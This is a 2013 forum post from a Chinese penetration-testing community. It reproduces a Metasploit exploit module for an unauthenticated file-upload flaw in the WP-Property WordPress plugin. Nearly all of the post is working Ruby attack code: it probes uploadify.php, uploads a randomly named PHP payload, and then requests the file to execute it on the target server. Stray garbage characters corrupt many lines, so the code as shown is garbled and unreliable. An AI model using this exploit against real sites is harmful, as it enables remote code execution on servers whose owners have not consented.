中国网络渗透测试联盟

标题: WordPress WP-Property PHP 文件上传漏洞 [打印本页]

作者: admin    时间: 2013-1-4 19:51
标题: WordPress WP-Property PHP 文件上传漏洞
WordPress WP-Property PHP 文件上传漏洞
: N7 h$ l$ D7 K7 E- Y3 |
& q! ^* P* p5 p/ | ## # This file is part of the Metasploit Framework and may be subject to
- L& r0 H7 S# z5 A( q! n8 V/ u% p/ R
# redistribution and commercial restrictions. Please see the Metasploit# D: ~6 K  y' ^3 g+ u
! Q6 l% N/ Q2 w. G( r0 I& ~8 Y
# Framework web site for more information on licensing and terms of use.
+ U: {2 E5 P' q' i$ p9 u
$ W& U6 g3 C* C% X9 F+ x#   http://metasploit.com/framework/ ##" o0 i- Z7 }( O4 }2 ?% L
4 [: \  W9 N( @) w
. u: C8 |* Q3 l# S0 D8 r

+ @& {) S2 l+ Y " p: H% e) i9 {0 J5 O+ W

7 u$ P% j$ o6 ]1 Z& P/ I7 Zrequire 'msf/core'& W1 A4 _( L  q8 }0 s. ~& U3 F
require 'msf/core/exploit/php_exe'
1 o. B- `2 O8 h) ?$ e& `1 e
' D+ A$ r; [- _7 X$ t& M' o6 Jclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
; c7 @3 j' A9 |9 l4 b; [; f( B$ ^0 N'Description'    => %q{  g4 O& d7 I  ]% A
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =># g6 x" n* Z: |3 o8 {  L: m
[  [2 f8 ]3 C8 q, _% C8 b
'Sammy FORGIT', # initial discovery+ e1 a6 H/ f/ n/ x8 |
'James Fitts <fitts.james[at]gmail.com>' # metasploit module! P( a# I- m; T- D; y- h
],( Z+ [9 T8 m0 x" J  k
'License'        => MSF_LICENSE,
: u* n0 Q; C% B* k/ e/ H# ?8 \'References'     =>6 \2 e$ |/ n, G) y: y: Y
[1 M& }' @# ^6 Y0 G9 O0 k
[ 'OSVDB', '82656' ],$ k( `: E$ W( }: q+ V
[ 'BID', '53787' ],5 R+ Q% j& k; D, d- @% }
[ 'EDB', '18987'],% A$ {8 Z  a3 D* @& U! R4 V* {9 ~
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]0 m! V% ^) U$ }  Y$ ^) s% E8 z: x
],
3 f0 [( p; m2 w' _2 D4 [( Y" n'Payload'        =>
7 J" Z# P7 o. ^" ?( ]" D{
6 ~/ [- r( z$ R" I'BadChars' => "\x00",. u+ l, S5 G6 j
},; B1 r0 }( ]. N, G, w# U4 V! o
'Platform'       => 'php',
6 ?2 }1 V) g- ~& z'Arch'           => ARCH_PHP,' C( H) m% S0 F: N
'Targets'        =>
) l9 M$ b' F+ c) \4 H[* o/ Q- p/ y/ Z6 L' q8 L7 T, ?  ^
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
5 q+ ^$ s9 ?' Q( u- F8 f2 R- C[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
( H. f- z2 v6 g( ^; L) v],6 _3 s7 M6 p3 r& L9 a
'DefaultTarget'  => 0,
8 e: b1 ~- ^, j0 ?, X'DisclosureDate' => 'Mar 26 2012'))$ i. s+ A- ^: b  L% w9 L: v- X

" E) F+ C6 r3 l. Lregister_options(8 g6 h  w3 x$ |! M" V
[
0 W; D2 s1 N) XOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
* u  I+ S5 I5 |$ n. G3 h& E+ F], self.class), z6 ~/ u! x+ n2 U) z3 s
end
& N1 f4 g3 T4 I, r8 i6 d3 w: G
5 ?+ L0 S+ M  g& R9 n, Bdef check
- e/ n/ }! S' M% }! m5 Q6 Uuri =  target_uri.path# U9 ~4 A( A# [; \' q
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',( K* F& Z9 {0 I$ B. V
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
, B) D* h2 `- W& Z0 r; }: f})
( q* ?4 P. ?1 c2 a
) k/ Q2 A' }& q( |if not res or res.code != 2005 d' F$ a: s3 T; K0 a  k- i
return Exploit::CheckCode::Unknown
  \9 V* A0 U9 c2 @, }3 xend/ L* m7 ?% s4 Y& l6 G2 D( `
; r2 f1 w/ W' h* B: \* x
return Exploit::CheckCode::Appears' G0 p; _' A% [. z, @, i
end
5 w4 Q0 J- B3 j' n. N7 h
6 M& f( R" k; q$ x4 z/ E9 X& O" Ndef exploit
- W+ x! U: n+ q, D! Q6 guri =  target_uri.path
. r' l1 d% q  k0 d& uuri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
8 w" I: O/ Y: r) n- v  _0 {% {6 r: e5 c8 m6 Z
data = Rex::MIME::Message.new  p+ \; r1 g- Z$ ]( L- `
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""): ]- q0 p  V8 i* I+ b/ C0 N, U
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
; J1 \" ^/ U7 @# L: Z1 n% j+ e( Jpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')( C0 F! g8 h3 p3 `# Z% Q1 @
, ~; g" R0 D( i' `+ u6 X5 B
print_status("#{peer} - Uploading payload #{@payload_name}")* e  R* H5 @9 Z" n8 w
res = send_request_cgi({5 z1 _' M4 ~4 l' A/ `
'method' => 'POST',
3 Z" g8 Y2 A) |2 j" x4 q% o3 I'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",& i0 e% d9 C$ e) v' J/ }1 B1 N  A6 T
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
( v2 ~5 \  W5 M5 j4 t'data'   => post_data
4 B) j  K1 o3 Z* M7 o0 A$ Q. J})) i8 j3 }, c0 ]/ Y( f1 p- u
$ C9 ~' {+ @$ E; [0 {2 S. C  V
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
3 w, K. a1 V* ?% Q- F3 h, yfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")8 O, ~3 T& ]$ x% y8 s7 y
end4 H$ ~+ H8 e# l2 o
0 S8 S) M3 C/ C
upload_uri = res.body( [% v0 A& I, z
$ ^' y- D; \6 G3 ^$ v! y0 s1 I/ D
print_status("#{peer} - Executing payload #{@payload_name}")* s- t" W6 J5 r" h, ^
res = send_request_raw({
2 T$ p8 a4 |  z0 Q% B'uri'    => upload_uri,
$ T% i9 U0 z9 U8 Z$ k& D  E2 A'method' => 'GET'
( \; a" |% K- s- r0 y* i) k0 C})
- X2 j7 p: ^3 o) I% [end2 q) E3 z$ Z; P( z( s
end
1 h4 a: f( o+ T
0 [/ [, ~9 [/ [/ Y! m/ E不要问我这写的是什么 怎么利用 我是说msf.
! F' @* `- |3 w. [# c. f
! Q: g8 _$ L1 v4 x/ _




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2